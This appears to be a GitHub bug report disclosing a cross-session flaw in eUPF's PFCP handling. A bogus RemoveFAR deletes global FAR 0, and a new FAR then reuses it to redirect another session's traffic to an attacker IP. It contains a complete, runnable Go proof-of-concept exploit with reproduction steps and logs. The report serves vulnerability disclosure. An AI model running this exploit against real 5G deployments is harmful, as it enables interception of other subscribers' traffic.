-
Notifications
You must be signed in to change notification settings - Fork 32
Description
Describe the bug
A malicious PFCP peer can delete and overwrite the global FAR entry with ID 0, even when it does not own that FAR.
Because other PFCP sessions may have PDRs that reference the global FAR with ID 0, this allows an attacker to redirect user-plane traffic belonging to a different PFCP session to an attacker-controlled IP address (traffic interception / redirection).
In more detail:
- eUPF maintains FARs in a global eBPF map indexed by a global FAR ID (e.g.
0), while each PFCP session also has its own per-session FAR IDs. - When the attacker sends a
SessionModificationRequestwithRemoveFARfor a non-existent FAR ID in its own session (e.g. FAR ID7777), the implementation ends up deleting the global FAR map entry at index0and releasing that global ID back to the allocator. - A subsequent
CreateFARin the attacker’s session then reuses global FAR ID0and stores attacker-controlled forwarding parameters (includingremote_ip). - The victim session’s PDRs still reference the global FAR with ID
0, so their traffic is now forwarded using the attacker’s FAR (to the attacker-controlledremote_ip).
This is a cross-session / cross-association traffic interception vulnerability: one PFCP peer can interfere with the user plane of another PFCP peer.
To Reproduce
Steps to reproduce the behavior:
- Launch eUPF
sudo docker run -d --privileged --network host \
-v /sys/fs/bpf:/sys/fs/bpf \
-v /sys/kernel/debug:/sys/kernel/debug:ro \
-e UPF_INTERFACE_NAME=lo \
-e UPF_N3_ADDRESS=127.0.0.1 \
-e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
-e UPF_PFCP_NODE_ID=127.0.0.1 \
-e UPF_API_ADDRESS="0.0.0.0:8080" \
-e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
--name eupf ghcr.io/edgecomllc/eupf:main- Start a new go project inside a new folder and create a
main.goand paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp- Create
main.go:
package main
import (
"fmt"
"io"
"log"
"math/rand"
"net"
"net/http"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))
func main() {
pfcpAddr := "127.0.0.1:8805"
farMapBase := "http://127.0.0.1:8080/api/v1/far_map"
if err := trafficIntercept(pfcpAddr, farMapBase); err != nil {
log.Fatalf("traffic-intercept PoC failed: %v", err)
}
log.Println("Traffic-intercept PoC sent; FAR entry 0 should now forward to attacker-controlled IP.")
}
func trafficIntercept(pfcpAddr, farMapBase string) error {
conn, err := dialPfcp(pfcpAddr)
if err != nil {
return err
}
defer conn.Close()
// Association setup
if _, err := sendAssociation(conn, 1); err != nil {
return err
}
// 1) Create victim session with a FAR that will occupy global FAR ID 0.
victimSEID := uint64(0x8001)
if _, err := sendSessionWithCustomFar(conn, victimSEID, 1, "10.60.80.1", "172.16.0.10"); err != nil {
return fmt.Errorf("victim session: %w", err)
}
logFarEntry(farMapBase, 0, "Victim FAR (before interception)")
// 2) Create attacker session with its own FAR (likely global ID 1).
attackerSEID := uint64(0x9001)
attackerLocal, err := sendSessionWithCustomFar(conn, attackerSEID, 2, "10.60.90.1", "172.16.0.11")
if err != nil {
return fmt.Errorf("attacker session setup: %w", err)
}
// 3) Use the bug to delete victim FAR (global ID 0) by sending RemoveFAR
// for a FAR ID (7777) that does not exist in this session.
del := message.NewSessionModificationRequest(0, 0,
attackerLocal, 1, 0,
ie.NewFSEID(attackerSEID, net.ParseIP("127.0.0.1"), nil),
ie.NewRemoveFAR(ie.NewFARID(7777)), // bogus FAR ID
)
if _, err := sendAndReceive(conn, del); err != nil {
return fmt.Errorf("delete victim far: %w", err)
}
// 4) Allocate a new FAR for the attacker that forwards to an attacker-controlled IP.
// Due to the prior incorrect deletion, this new FAR will occupy global slot 0.
create := message.NewSessionModificationRequest(0, 0,
attackerLocal, 1, 0,
ie.NewFSEID(attackerSEID, net.ParseIP("127.0.0.1"), nil),
ie.NewCreateFAR(
ie.NewFARID(5555),
ie.NewApplyAction(2), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "203.0.113.55", "", 0, 0, 0),
),
),
)
if _, err := sendAndReceive(conn, create); err != nil {
return fmt.Errorf("create attacker far: %w", err)
}
time.Sleep(500 * time.Millisecond)
logFarEntry(farMapBase, 0, "FAR entry 0 after interception (should show attacker IP 203.0.113.55)")
return nil
}
func sendSessionWithCustomFar(conn *net.UDPConn, seid uint64, farID uint32, ueIP string, remoteIP string) (uint64, error) {
req := message.NewSessionEstablishmentRequest(0, 0,
seid, 1, 0,
ie.NewNodeID("", "", "poc-smf"),
ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
ie.NewCreateFAR(
ie.NewFARID(farID),
ie.NewApplyAction(2), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), remoteIP, "", 0, 0, 0),
),
),
ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(255),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewUEIPAddress(2, ueIP, "", 0, 0),
),
ie.NewFARID(farID),
),
)
msg, err := sendAndReceive(conn, req)
if err != nil {
return 0, err
}
resp, ok := msg.(*message.SessionEstablishmentResponse)
if !ok {
return 0, fmt.Errorf("unexpected response %T", msg)
}
if resp.UPFSEID == nil {
return 0, fmt.Errorf("response missing UPF SEID")
}
fseid, err := resp.UPFSEID.FSEID()
if err != nil {
return 0, err
}
return fseid.SEID, nil
}
func logFarEntry(base string, id int, msg string) {
url := fmt.Sprintf("%s/%d", strings.TrimRight(base, "/"), id)
resp, err := http.Get(url)
if err != nil {
log.Printf("%s: request failed: %v", msg, err)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
log.Printf("%s (HTTP %d): %s", msg, resp.StatusCode, strings.TrimSpace(string(body)))
}
func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
if err != nil {
return nil, err
}
return net.DialUDP("udp", nil, raddr)
}
func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
msg := message.NewAssociationSetupRequest(seq,
ie.NewNodeID("", "", "poc-smf"),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewUPFunctionFeatures(0, 0, 0),
)
return sendAndReceive(conn, msg)
}
func sendMessage(conn *net.UDPConn, msg message.Message) error {
buf := make([]byte, msg.MarshalLen())
if err := msg.MarshalTo(buf); err != nil {
return err
}
_, err := conn.Write(buf)
return err
}
func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
if err := sendMessage(conn, msg); err != nil {
return nil, err
}
respBuf := make([]byte, 4096)
_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, _, err := conn.ReadFromUDP(respBuf)
if err != nil {
return nil, err
}
return message.Parse(respBuf[:n])
}- Run the PoC:
go run main.go -mode traffic-intercept -pfcp 127.0.0.1:8805 -far-map-url http://127.0.0.1:8080/api/v1/far_mapExpected behavior
When a SessionModificationRequest contains a RemoveFAR for a FAR ID that does not exist in the current PFCP session:
eUPF should either: ignore the RemoveFAR IE, or reject the request with an appropriate cause value.
Logs
Terminal
go run ./cmd/pfcp_poc -mode traffic-intercept -pfcp 127.0.0.1:8805 -far-map-url http://127.0.0.1:8080/api/v1/far_map
2025/11/18 20:09:44 Victim FAR (before interception) (HTTP 200): {
"id": 0,
"action": 2,
"outer_header_creation": 1,
"teid": 2449025857,
"remote_ip": 167776428,
"transport_level_marking": 0
}
2025/11/18 20:09:45 FAR entry 0 after interception (should show attacker IP 203.0.113.55) (HTTP 200): {
"id": 0,
"action": 2,
"outer_header_creation": 1,
"teid": 4011551081,
"remote_ip": 930152651,
"transport_level_marking": 0
}
2025/11/18 20:09:45 Traffic-intercept PoC sent; FAR entry 0 should now forward to attacker-controlled IP.
eupf
2025/11/18 12:04:31 INF running on 0.0.0.0:8080
2025/11/18 12:04:31 INF running on 0.0.0.0:9090
2025/11/18 12:09:44 INF Got Association Setup Request from: 127.0.0.1
2025/11/18 12:09:44 INF
Association Setup Request:
Node ID: poc-smf
Recovery Time: 2025-11-18 12:09:44 +0000 UTC
2025/11/18 12:09:44 INF Saving new association: &{ID:poc-smf Addr:127.0.0.1 NextSessionID:1 NextSequenceID:1 Sessions:map[] HeartbeatChannel:0xc0000a63c0 HeartbeatsActive:false Mutex:{state:0 sema:0}}
2025/11/18 12:09:44 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/18 12:09:44 INF
Session Establishment Request:
CreatePDR ID: 1
FAR ID: 1
Source Interface: 0
UE IPv4 Address: 10.60.80.1
CreateFAR ID: 1
Apply Action: [2]
Forwarding Parameters:
Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:2449025857 IPv4Address:172.16.0.10 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0}
2025/11/18 12:09:44 INF Saving FAR info to session: 1, {Action:2 OuterHeaderCreation:1 Teid:2449025857 RemoteIP:167776428 TransportLevelMarking:0}
2025/11/18 12:09:44 INF Session Establishment Request from 127.0.0.1 accepted.
[GIN] 2025/11/18 - 12:09:44 | 200 | 500.445µs | 127.0.0.1 | GET "/api/v1/far_map/0"
2025/11/18 12:09:44 INF Got Session Establishment Request from: 127.0.0.1.
2025/11/18 12:09:44 INF
Session Establishment Request:
CreatePDR ID: 1
FAR ID: 2
Source Interface: 0
UE IPv4 Address: 10.60.90.1
CreateFAR ID: 2
Apply Action: [2]
Forwarding Parameters:
Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:1770572085 IPv4Address:172.16.0.11 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0}
2025/11/18 12:09:44 INF Saving FAR info to session: 2, {Action:2 OuterHeaderCreation:1 Teid:1770572085 RemoteIP:184553644 TransportLevelMarking:0}
2025/11/18 12:09:44 INF Session Establishment Request from 127.0.0.1 accepted.
2025/11/18 12:09:44 INF Got Session Modification Request from: 127.0.0.1.
2025/11/18 12:09:44 INF Finding association for 127.0.0.1
2025/11/18 12:09:44 INF Finding session 3
2025/11/18 12:09:44 INF
Session Modification Request:
RemoveFAR ID: 7777
2025/11/18 12:09:44 INF Removing FAR: 7777
2025/11/18 12:09:44 INF Got Session Modification Request from: 127.0.0.1.
2025/11/18 12:09:44 INF Finding association for 127.0.0.1
2025/11/18 12:09:44 INF Finding session 3
2025/11/18 12:09:44 INF
Session Modification Request:
CreateFAR ID: 5555
Apply Action: [2]
Forwarding Parameters:
Outer Header Creation: &{OuterHeaderCreationDescription:256 TEID:4011551081 IPv4Address:203.0.113.55 IPv6Address:<nil> PortNumber:0 CTag:0 STag:0}
2025/11/18 12:09:44 INF Saving FAR info to session: 5555, {Action:2 OuterHeaderCreation:1 Teid:4011551081 RemoteIP:930152651 TransportLevelMarking:0}
[GIN] 2025/11/18 - 12:09:45 | 200 | 21.039µs | 127.0.0.1 | GET "/api/v1/far_map/0"
Security impact
A malicious or compromised PFCP peer (e.g. rogue SMF) that can reach the UPF’s PFCP endpoint can:
- delete and overwrite the global FAR entry with ID
0that belongs to another PFCP session, and - redirect any user-plane traffic whose PDRs reference global FAR ID
0to an attacker-controlled IP address.
This enables cross-session traffic interception / redirection in multi-tenant or multi-SMF deployments.
Environment (please complete the following information):
- OS: Ubuntu 24.04
- 5GC kind and version: None
- UPF version: a8d774a